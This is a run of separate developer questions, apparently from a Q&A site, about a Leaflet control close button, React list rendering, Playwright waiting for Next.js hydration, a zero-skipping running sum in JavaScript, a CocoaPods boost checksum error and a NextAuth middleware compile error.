why does this button in a leaflet L.control() element not work?

I want to add a close button to an L.control() infobox for a leafletjs map:

let map;

map = L.map("map").setView([45.0, 0.0], 8);

var tiles = L.tileLayer("https://tile.openstreetmap.org/{z}/{x}/{y}.png", {
  maxZoom: 19,
}).addTo(map);

let info = L.control();

info.onAdd = function (map) {
  this._div = L.DomUtil.create("div", "info");

  var button = L.DomUtil.create('button', 'close-btn', this._div);
  button.innerHTML = 'x';
  button.style.float = 'right';

  button.addEventListener('click', function() {
    console.log('buttonClicked event');
    info.buttonClicked();
  });

  this._div.innerHTML += "some info";

  return this._div;
};

info.buttonClicked = function() { 
  console.log('info.buttonClicked() called');
  //this._div.innerHTML += ''; 
};

info.addTo(map);


(full example here) but it seems that clicking the button doesn’t achieve anything. I’ve tried a bunch of versions (see the commented out code), but no luck.

I don’t see any errors, but I don’t see any of the console.log() calls either.

I tried using L.DomEvent to bind clicking to buttonClicked():

L.DomEvent.on(button, 'click', function() {
    info.buttonClicked();
});

I also tried creating a button with const newButton = document.createElement('button'); instead of L.DomUtil.create().

Tested this in a bunch of different browsers. Still no luck.

Why?

NOTE: adding L.DomEvent.disableClickPropagation(this._div);, as suggested in one of the answers below, doesn’t fix this.

React doesn’t render my components in .map() function

I am developing site and i need to create a file tree.
I have a mock object in my project for testing:

const files = [
    {
        id: 232141332,
        title: "Documents",
        type: "FOALDER",
        opened: false,
        level: 0,
        fatherId: null,
        children: [
            {
                id: 734573086,
                title: "MA5600",
                type: "FOALDER",
                opened: false,
                level: 1,
                fatherId: 232141332,
                children: [
...

My App.js file:

function App() {
  return (
    <div className="App">
      <div className="wrapper">
        <Sidebar/>
      </div>
    </div>
  );
}

export default App;

Component Sidebar.jsx:

import files from '../../../store/files'

function Sidebar(){
    return(
        <div>
            {console.log(files)}
            {files.map((root) => {
                <TreeNode key={root.id} item={root}/>
            })}
        </div>
    );
}

export default Sidebar;

Component TreeNode.jsx:

import classes from "./TreeNode.module.css"

function TreeNode({item}){
    return (
        <div className={classes.treeNode}>
          <div className={classes.treeNodeWrapper}>
            <div className={classes.treeNodeIsOpened}>
              <svg viewBox="0 0 64 64" xmlns="http://www.w3.org/2000/svg" fill="none" stroke="#525757" stroke-width="2"><g id="SVGRepo_bgCarrier" stroke-width="0"></g><g id="SVGRepo_tracerCarrier" stroke-linecap="round" stroke-linejoin="round"></g><g id="SVGRepo_iconCarrier"><polyline points="24 28 32 36 40 28"></polyline></g></svg>
            </div>
            <div className={classes.treeNodeImage}>
              <svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" stroke="  #525757"><g id="SVGRepo_bgCarrier" stroke-width="0"></g><g id="SVGRepo_tracerCarrier" stroke-linecap="round" stroke-linejoin="round"></g><g id="SVGRepo_iconCarrier"> <path fill-rule="evenodd" clip-rule="evenodd" d="M2.06935 5.25839C2 5.62595 2 6.06722 2 6.94975V14C2 17.7712 2 19.6569 3.17157 20.8284C4.34315 22 6.22876 22 10 22H14C17.7712 22 19.6569 22 20.8284 20.8284C22 19.6569 22 17.7712 22 14V11.7979C22 9.16554 22 7.84935 21.2305 6.99383C21.1598 6.91514 21.0849 6.84024 21.0062 6.76946C20.1506 6 18.8345 6 16.2021 6H15.8284C14.6747 6 14.0979 6 13.5604 5.84678C13.2651 5.7626 12.9804 5.64471 12.7121 5.49543C12.2237 5.22367 11.8158 4.81578 11 4L10.4497 3.44975C10.1763 3.17633 10.0396 3.03961 9.89594 2.92051C9.27652 2.40704 8.51665 2.09229 7.71557 2.01738C7.52976 2 7.33642 2 6.94975 2C6.06722 2 5.62595 2 5.25839 2.06935C3.64031 2.37464 2.37464 3.64031 2.06935 5.25839ZM12.25 10C12.25 9.58579 12.5858 9.25 13 9.25H18C18.4142 9.25 18.75 9.58579 18.75 10C18.75 10.4142 18.4142 10.75 18 10.75H13C12.5858 10.75 12.25 10.4142 12.25 10Z" fill="   #525757"></path> </g></svg>
            </div>
            <div className={classes.treeNodeText}>
              {item.title}
            </div>
          </div>
          <div className={classes.nextTreeNode}>
            {item.children?.map((x) => (
              <TreeNode key={x.id} item={x}/>
            ))}
          </div>
        </div>
    );
}

export default TreeNode;

Now that’s all, but what i see in browser is nothing, just centered div with class wrapper.
I see my files in console, but it doesn’t renders my TreeNodes. What problem is can be?
Also i have warning in console:

Ошибка карты кода: Error: JSON.parse: unexpected character at line 1 column 1 of the JSON data
Stack in the worker:parseSourceMapInput@resource://devtools/client/shared/vendor/source-map/lib/util.js:163:15
_factory@resource://devtools/client/shared/vendor/source-map/lib/source-map-consumer.js:1066:22
SourceMapConsumer@resource://devtools/client/shared/vendor/source-map/lib/source-map-consumer.js:26:12
_fetch@resource://devtools/client/shared/source-map-loader/utils/fetchSourceMap.js:83:19

URL ресурса: http://localhost:3000/%3Canonymous%20code%3E
URL карты кода: installHook.js.map

Issues with onClick Events Using Playwright on a Next.js Application

Problem Summary:
I’m encountering an issue where onClick events attached to buttons in my Next.js application are not always triggered during Playwright E2E tests.

Hypothesis:
The problem seems to occur because Playwright interacts with the button before React has fully hydrated the page, meaning the JavaScript responsible for attaching the onClick handler hasn’t executed yet.

Details:
Here’s an example of one of my tests:

test('Navigate from list to details', async ({ page }) => {
    await page.goto('/list');
    await expect(page.getByTestId('list-container')).toBeVisible();
    await page.getByTestId('list-item').first().locator('button').click();
    await expect(page.getByTestId('details-container')).toBeVisible();
});

When the test navigates to /list, the list-container is visible because it’s rendered server-side, but the button click doesn’t always trigger the onClick event.

What I’ve Tried:

  1. Using `page.waitForLoadState(‘networkidle’), but it didn’t always work and is also discouraged in the Playwright documentation.
  2. Waiting for the specific element using page.waitForSelector(), but since the element is server-rendered, it doesn’t solve the issue.
  3. Adding an explicit delay with page.waitForTimeout(), but this is also discouraged.

Question:
What’s the best way to make Playwright wait for React to complete hydration before interacting with elements?

Thank you for your help!

Add previous value of an array element with the current element and ignore zero value

I have a requirement to add previous value of an array element with the current element and ignore zero value in between. I need this logic using javascript, Below is the example code:

var arr = [1,2,0,0,3,0,4];

Output I need: [1,3,0,0,6,0,10];

Can we achieve something this?
Thanks

Below is the code that i am using, I am not able to ignore the zero value in the array list

var durations = [1, 4.5,0,0, 3];
var sum = 0;

var array = durations.map(value => sum += value);

console.log(array);

Output I am getting: [ 1, 5.5, 5.5, 5.5, 8.5 ]

Output I need: [1,5.5,0,0,8.5]

Error installing boost Verification checksum was incorrect, expected error

[!] Error installing boost
Verification checksum was incorrect, expected f0397ba6e982c4450f27bf32a2a83292aba035b827a5623a14636ea583318c41, got 79e6d3f986444e5a80afbeccdaf2d1c1cf964baa8d766d20859d653a16c39848

Move to node_modules/react-native/third-party-podspecs. In boost.podspec, only change the line

spec.source = { :http => ‘https://boostorg.jfrog.io/artifactory/main/release/1.76.0/source/boost_1_76_0.tar.bz2’,
:sha256 => ‘f0397ba6e982c4450f27bf32a2a83292aba035b827a5623a14636ea583318c41’ }

to

spec.source = { :http => ‘https://sourceforge.net/projects/boost/files/boost/1.83.0/boost_1_83_0.tar.bz2’,
:sha256 => ‘6478edfe2f3305127cffe8caf73ea0176c53769f4bf1585be237eb30798c3b8e’ }

for me its Work with platform :ios, 13.0

Failed to compile: Unknown module type in Next.js with NextAuth.js

I’m working on a project using Next.js v15.0.1 and NextAuth.js v5.0.0-beta.25. When I run my app, I encounter the following error:

Unknown module type  
This module doesn't have an associated type. Use a known file extension, or register a loader for it.  

Read more: https://nextjs.org/docs/app/api-reference/next-config-js/turbo#webpack-loaders  

The issue occurs when I try to get the session data in the middleware.js file using the auth function provided by NextAuth.js in the auth.js file I use only the credentials provider in NextAuth. Here’s my code:

// middleware.js
import { NextResponse } from 'next/server';
import { auth } from './auth';

export function middleware(request) {
    const { data } = auth();
    const token = request.cookies.get('authjs.session-token');

    console.log('token', token);
    console.log(data);

    return NextResponse.next();
}

export const config = {
    matcher: ['/login', '/signup'],
};
// auth.js
import NextAuth from 'next-auth';
import Credentials from 'next-auth/providers/credentials';
import { authorizeUser } from '@/lib/auth/user';

export const { auth, handlers, signIn, signOut } = NextAuth({
    providers: [
        Credentials({
            credentials: {
                email: {},
                password: {},
            },
            authorize: authorizeUser,
        }),
    ],
    secret: process.env.NEXTAUTH_SECRET,
});
// next.config.mjs
/** @type {import('next').NextConfig} */
const nextConfig = {};

export default nextConfig;

I tried using the auth() function from auth.js to get the session data inside middleware.js and log it to the console.I expected the session data to be returned and for the application to compile without errors.